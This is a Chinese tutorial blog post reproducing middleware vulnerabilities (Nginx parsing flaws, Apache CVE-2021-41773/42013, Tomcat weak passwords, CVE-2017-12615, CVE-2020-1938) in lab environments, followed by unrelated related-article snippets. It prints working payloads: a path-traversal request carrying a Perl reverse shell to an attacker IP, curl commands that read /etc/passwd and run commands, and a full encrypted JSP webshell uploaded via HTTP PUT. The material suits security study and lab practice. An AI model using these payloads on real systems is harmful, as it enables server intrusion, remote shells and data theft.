中间件安全-CVE复现IISApacheTomcatNginx漏洞复现

news2024/11/7 13:35:41

目录

  • 中间件安全&CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现
    • 中间件-IIS安全问题
    • 中间件-Nginx安全问题
      • 漏洞复现
        • Nginx 解析漏洞复现
        • Nginx 文件名逻辑漏洞
    • 中间件-Apache-RCE&目录遍历&文件解析等安全问题漏洞复现
      • 漏洞复现
        • CVE_2021_42013 RCE代码执行(Apache RCE)
        • CVE_2021_41773 目录穿越(Apache目录遍历)
        • CVE-2017-15715 文件解析(Apache HTTPD 换行解析漏洞)
    • 中间件-Tomcat安全问题-弱口令&文件上传&文件包含等漏洞复现
      • 漏洞复现
        • Tomcat弱口令
        • Tomcat文件上传(CVE-2017-12615)
        • Tomcat文件包含(CVE-2020-1938)
        • Tomcat 反序列化 (CVE-2020-9484)

中间件安全&CVE复现&IIS&Apache&Tomcat&Nginx漏洞复现

中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere, Jenkins ,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp, Spring,Flask,jQuery等

1、中间件-IIS-短文件&解析&蓝屏等

2、中间件-Nginx-文件解析&命令执行等

3、中间件-Apache-RCE&目录遍历&文件解析等

4、中间件-Tomcat-弱口令&文件上传&文件包含等

中间件-IIS安全问题

中间件-IIS-短文件&解析&蓝屏等安全问题:

1、短文件:信息收集

2、文件解析

3、HTTP.SYS:蓝屏崩溃,略有破坏性

4、CVE-2017-7269 条件比较老旧

中间件-Nginx安全问题

Nginx详解

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力在同类型的网页服务器中表现较好。

中间件-Nginx-文件解析&命令执行等安全问题:

1、后缀解析 文件名解析 配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。 CVE-2013-4547:影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

2、cve_2021_23017

相关文章:cve_2021_23017

3、cve_2017_7529

相关文章:cve_2017_7529

漏洞复现

Nginx 解析漏洞复现

靶场:vulhub

参考:nginx解析漏洞复现

开启环境:

image-20231020095152751

访问:

image-20231020095433095

上传:

上传一个正常的图片,图片当中带着我们的php语句

image-20231020095802615

访问图片,在图片后面加上/.php

语句被成功解析并执行:

image-20231020095849687

可利用此来上传木马,从而进行getshell。

Nginx 文件名逻辑漏洞

漏洞原理:

主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。

靶场:vulhub

参考:CVE-2013-4547

开启环境:

image-20231020101837154

访问:

image-20231020101852721

上传.gif文件

这个环境是黑名单验证,我们无法上传php后缀的文件。我们上传一个“1.gif ”,注意后面的空格:

image-20231020102007421

访问http://your-ip:8080/uploadfiles/3.gif[0x20][0x00].php,即可发现php语句已被解析执行(当做php脚本语言进行执行):

image-20231020102125867

修改16进制数值:

image-20231020102209314

解析执行:

image-20231020101820925

同理利用该漏洞,上传木马,可getshell。

中间件-Apache-RCE&目录遍历&文件解析等安全问题漏洞复现

详解:Apache详解

Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将Perl/Python等解释器编译到服务器中。

安全问题:

1、cve_2021_42013 RCE代码执行

2、cve_2021_41773 目录穿越

3、cve-2017-15715 文件解析

漏洞复现

CVE_2021_42013 RCE代码执行(Apache RCE)

描述:

Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本。

靶场:vulfocus

开启靶场:

image-20231020104037783

访问:

image-20231020104123013

payload:
//修改请求方式为POST
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
//数据包内容为:
echo;perl -e 'use Socket;$i="192.168.100.1";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'


//完整数据包:
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 192.168.100.134:11559
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 222

echo;perl -e 'use Socket;$i="192.168.100.1";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
反弹shell命令:
echo;perl -e 'use Socket;$i="攻击者ip";$p=监听端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

开启监听

nc -lvvp 8888

发送数据包,等待过后,成功反弹:

image-20231020111121399

执行命令:

image-20231020111020629

CVE_2021_41773 目录穿越(Apache目录遍历)

Apache HTTP 服务器项目旨在为包括 UNIX 和 Windows 在内的现代操作系统开发和维护开源 HTTP 服务器。

在 Apache HTTP Server 2.4.49 中对路径规范化所做的更改中发现一个缺陷。攻击者可以使用路径遍历攻击将 URL 映射到预期文档根目录之外的文件。

如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可以成功。如果还为这些别名路径启用了 CGI 脚本,则可能允许远程执行代码。

靶场:vulhub

或vulfocus

参考:Apache HTTP 服务器 2.4.49 中的路径遍历和文件泄露漏洞

开启环境:

image-20231020112649834

访问界面:

image-20231020112712656

在vulfocus当中开启靶场环境,访问界面:

image-20231020112750497

访问:

image-20231020112733937

payload:
//抓包,发送以下请求数据内容
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
...

image-20231020112930861

一个简单的 curl 命令来重现漏洞(请注意,必须是现有目录):/icons/

payload:
查看/etc/passwd文件
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

查看/etc/group文件
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/group

image-20231020113200821

已成功披露:/etc/passwd

image-20231020113455524

已成功披露:/etc/group

命令执行RCE:
payload:
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

curl -v --data "echo;ls" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

image-20231020113631553

成功回显

查看目录:

image-20231020113655570

CVE-2017-15715 文件解析(Apache HTTPD 换行解析漏洞)

Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

环境:vulhub

漏洞复现详解:Apache HTTPD 换行解析漏洞(CVE-2017-15715)

中间件-Tomcat安全问题-弱口令&文件上传&文件包含等漏洞复现

描述:Tomcat详解

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 规范。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为比较流行的Web 应用服务器。

安全问题:

1、Tomcat弱口令

2、Tomcat文件上传

3、Tomcat文件包含

漏洞复现

Tomcat弱口令

靶场:vulfocus

开启环境:

image-20231020141628821

访问:

image-20231020141743851

点击管理后台应用,尝试弱口令

image-20231020143530251

尝试账号和密码为:tomcattomcat(也可以使用burp进行爆破)

弱口令成功进入后台:

image-20231020141852807

可使用哥斯拉生成jsp后门,打包压缩成zip,然后重命名为war后缀文件,进行上传,即可getshell

image-20231020143044727

修改后,进行上传

image-20231020143728012

进入后台,然后进行上传该文件:

image-20231020143145209

输入账号密码后,成功上传:

image-20231020143234456

点击进入目录,访问后门:

image-20231020143332958

尝试连接:

成功连接并进入

image-20231020143430700

后面文件以及目录:

image-20231020143917960

image-20231020143928006

Tomcat文件上传(CVE-2017-12615)

漏洞介绍:

描述:

Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。

当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。

影响版本:

Apache Tomcat 7.0.0 - 7.0.79

靶场:vulfocus

开启靶场:

image-20231020144856581

访问:

image-20231020145952122

进行上传,上传一个1.jsp文件,抓取数据包,修改数据包内容,将后面内容写在请求体当中

PUT /1.jsp/ HTTP/1.1
Host: 192.168.100.134:64009
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=71F2B8B297CF95B8EDC83C14222858FA
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 2617

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

jsp后门代码:

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

发送数据包即可:

上传1.jsp文件

image-20231020150518864

修改完成后,发送数据包即可:

image-20231020150124951

回到界面,尝试访问:

image-20231020150147969

上传成功,使用哥斯拉进行连接,getshell

image-20231020150219886

修复方案:

1、配置readonly和VirtualDirContext值为True或注释参数,禁止使用PUT方法并重启tomcat

注意:如果禁用PUT方法,对于依赖PUT方法的应用,可能导致业务失效。

2、根据官方补丁升级最新版本

Tomcat文件包含(CVE-2020-1938)

描述:

Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。

影响版本:

Tomcat 6.

Tomcat 7. < 7.0.100

Tomcat 8.* < 8.5.51

Tomcat 9.* < 9.0.31

靶场:vulfocus

开启环境:

image-20231020155729995

访问界面:

image-20231020155800466

Tomcat-Ajp协议文件读取漏洞

  • 自动化脚本CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py you-ip -p AJP协议(默认端口8009)端口 -f WEB-INF/web.xml	//读取的文件路径

// -p 对应的端口
// -f 参数选择要包含的文件

image-20231020160252506

执行结果:

image-20231020155423292

image-20231020160331212

修复加固方法:

  1. 将tomcat升级到9.0.31、8.5.51或者7.0.100版本
  2. 禁止使用AJP协议
  3. 配置secret来设置AJP协议的认证凭证
Tomcat 反序列化 (CVE-2020-9484)
Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。

成功利用此漏洞需要同时满足以下4个条件: 
1.攻击者能够控制服务器上文件的内容和文件名称; 
2.服务器PersistenceManager配置中使用了FileStore; 
3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象; 
4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

该漏洞利用条件较为苛刻,可升级版本进行防护。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1114870.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LeetCode-496 下一个更大元素

一、前言 今天想要分享的题目其实和之前写的股票价格那道题所用到的结构是一样的&#xff0c;就是单调栈&#xff0c;因为自己当时也对这种结构不太熟悉&#xff0c;看到评论区很多大佬说如果遇到要找下一个最大/最小这一类的题目&#xff0c;可以往单调栈这一块儿去想&#x…

CAD Exchanger SDK 3.22.0 Crack

Docker 映像、Autodesk Inventor 2022 支持以及从 CAD Exchanger 3.22.0 中的 CATIA 导入属性 使用 Docker 映像将您的软件运送到任何地方&#xff0c;独立于 Autodesk 软件读取 .ipt、.iam 文件&#xff0c;从 CATIA 探索机械、产品和自定义属性。 软件开发工具包产品更新发明…

暄桐四阶课程「自在行草」学习装备指南

在2011年&#xff0c;暄桐成立的最初&#xff0c;课程便是面向零基础的成年人设计的。在十余年的教学实践中&#xff0c;暄桐教室为同学们提供了一种系统、有趣、扎实&#xff0c;并可持续进阶的学习可能。许多同学都是在来到暄桐以后&#xff0c;才第一次拿起毛笔&#xff0c;…

138.【JUC并发编程- 03】

JUC并发编程- 03 (六)、共享模型之无锁1.问题提出(1).为什么不安全?(2).安全实现_使用锁(3).安全实现_使用CAS 2.CAS与volatile(1).CAS_原理介绍(2).CAS_Debug分析(3).volatile(4).为什么无锁效率高(5).CAS的特点 3.原子整形(1).原子整数类型_ 自增自减(2).原子整数类型_乘除模…

【建立单链表:头插法,尾插法;循环列表,带尾指针的循环链表合并(将Tb合并在Ta之后)】

文章目录 一、单链表的基本操作的实现1.建立单链表&#xff1a;头插法----元素插入在链表头部&#xff0c;也叫头插法。2.建立单链表&#xff1a;尾插法----元素插入在链表尾部&#xff0c;也叫尾插法。 二、线性表的链式表示和实现1.循环列表2.带尾指针的循环链表合并&#xf…

用自定义的QSortFilterProxyModel实现条件过滤,使qtableview中只显示满足条件的行信息

在实际开发中&#xff0c;qtableview是qt客户端页面中最常用的控件之一。运用qtableview的同时&#xff0c;也会存在着先对初始数据进行过滤&#xff0c;然后在qtableview上展示的只有满足条件的那些信息。或者在不同的条件下要展示出不同的满足条件的行信息。 第一种方法&…

电脑删除的视频怎么恢复?可尝试着3钟恢复办法!

无论是为了工作还是生活&#xff0c;我们都有可能在电脑上保存重要的视频&#xff0c;如宣传视频、回忆录视频等。这些视频通常包含了制作者的心血&#xff0c;要是被我们误删除了&#xff0c;很难重新拍摄&#xff0c;那么电脑删除的视频怎么恢复&#xff1f; 能。通常&#…

用 GPU 加速 PQC 方案:Montgomery、SHA3

参考文献&#xff1a; [DK91] Duss S R, Kaliski B S. A cryptographic library for the Motorola DSP56000[C]//Advances in Cryptology—EUROCRYPT’90: Workshop on the Theory and Application of Cryptographic Techniques Aarhus, Denmark, May 21–24, 1990 Proceeding…

Tensorboard安装及简单使用

Tensorboard 1. tensorboard 简单介绍2. 安装必备环境3. Tensorboard安装4. 可视化命令 1. tensorboard 简单介绍 TensorBoard是一个可视化的模块&#xff0c;该模块功能强大&#xff0c;可用于深度学习网络模型训练查看模型结构和训练效果&#xff08;预测结果、网络模型结构…

带头的循环双向链表的简单介绍

目录 带头的循环双向链表&#xff1a; 1、带头&#xff1a; 2、循环&#xff1a; 3、双向&#xff1a; 图例&#xff1a; 带头的双向循环链表的创建&#xff1a; 头文件部分&#xff1a; 主函数部分&#xff1a; 最终调试效果&#xff1a; 使用一级指针传参的原因&am…

异常数据检测 | Python奇异谱分析(SSA)数据缺失值插补

文章目录 文章概述模型描述源码分享参考资料文章概述 长时序栅格数据经常会出现一些缺失值,会对后续的分析造成很大的不便。这便需要利用一些插值算法对这些缺失数据进行填补,奇异谱分析(SSA)便是常用的一种插值方法。 模型描述 在时间序列分析中,「奇异谱分析」(「SS…

了解活动聊天机器人如何革新活动行业

在如今快节奏的时代&#xff0c;活动策划和管理对于任何活动的成功变得至关重要。无论是会议、展览会还是企业聚会&#xff0c;组织者都努力为参与者创造难忘的体验&#xff0c;同时确保幕后的顺利执行。然而&#xff0c;由于有许多任务需要处理且资源有限&#xff0c;管理活动…

智慧油气田方案:视频+AI识别,助力油气田生产与管理智能化转型

一、背景与挑战 根据《“十四五”能源领域科技创新规划》指出&#xff0c;要推动核心技术创新突破&#xff0c;推动煤炭、油田、电厂、电网等传统行业与数字化、智能化技术深度融合。我国油田产业已经摆脱了早期粗放式增长的阶段&#xff0c;需要更加精细化、智慧化、科学化的…

59个外贸开发信爆款标题,提高你的邮件打开率

标题是吸引读者打开邮件的第一印象&#xff0c;对于外贸销售人员来说&#xff0c;精心撰写开发信标题至关重要。客户收到的邮件那么多&#xff0c;那么在客户收件箱中的5至20个客户邮件标题中&#xff0c;你必须确保自己的标题能够脱颖而出。 下面的外贸开发信标题示例&#x…

第十四章 Iambda表达式和流处理

第十四章 Iambda表达式和流处理 14.1&#xff1a;Iambda表达式简介 Iambda表达式可以用非常少的代码来实现抽象方法。 Iambda表达式不能独立执行&#xff0c;因此必须是西安函数式接口&#xff0c;并返回一个函数式接口的对象。 Iambda表达式的语法特殊的 语法格式如下 &…

我在明白软件测试这个道理后,涨薪10万

上升期的创业型公司 vs 大厂 如何抉择&#xff1f; 最近总有一些学生特别“凡尔赛”的发几个 offer 问我选择哪个&#xff1f;其中比较典型的一个问题就是&#xff1a; “一个是处于上升期的创业型公司 &#xff0c;一个行业大厂&#xff0c;薪资待遇差不多&#xff0c;到底该…

良心推荐,超好用老师小程序

各位老师&#xff0c;今天咱就来说说一件让你们省心省力的事儿——成绩查询系统。那些年&#xff0c;咱们或许都经历过手动发布成绩的痛苦&#xff0c;但现在&#xff0c;时代变了&#xff01;咱们有了小程序可以使用了&#xff0c;学生们可以自助查询成绩&#xff0c;省去了您…

Springboot+vue的班级综合测评管理系统(有报告)。Javaee项目,springboot vue前后端分离项目。

演示视频&#xff1a; Springbootvue的班级综合测评管理系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot vue前后端分离项目。 项目介绍&#xff1a; 本文设计了一个基于Springbootvue的前后端分离的班级综合测评管理系统&#xff0c;采用M&#xff08…

【微信小程序开发】自定义组件以及页面布局设计 )

【微信小程序开发】自定义组件以及页面布局设计 1.创建自定义组件2...在tabs的wxml文件中定制组件模板2.1.js中定义组件的属性2.2.定义组件的相关事件2.3在其他页面引用组件2.4在使用组件的wxml页面中使用组件2.5定义属性值 三。个人中心的实现 ) 1.创建自定义组件 要新建comp…

加密货币恐怖融资惊动国会!而链上分析公司看不下去了,紧急辟谣?

巴以冲突发生后&#xff0c;关于以加密货币资助恐怖分子的争论不断。全球最大的交易所币安和稳定币发行商Tether都表示己配合冻结多个账户和地址&#xff0c;以切断哈玛斯加密金援。美国合规交易所Coinbase也在近日发表了防止加密货币非法活动的宣言&#xff0c;反加密出名的参…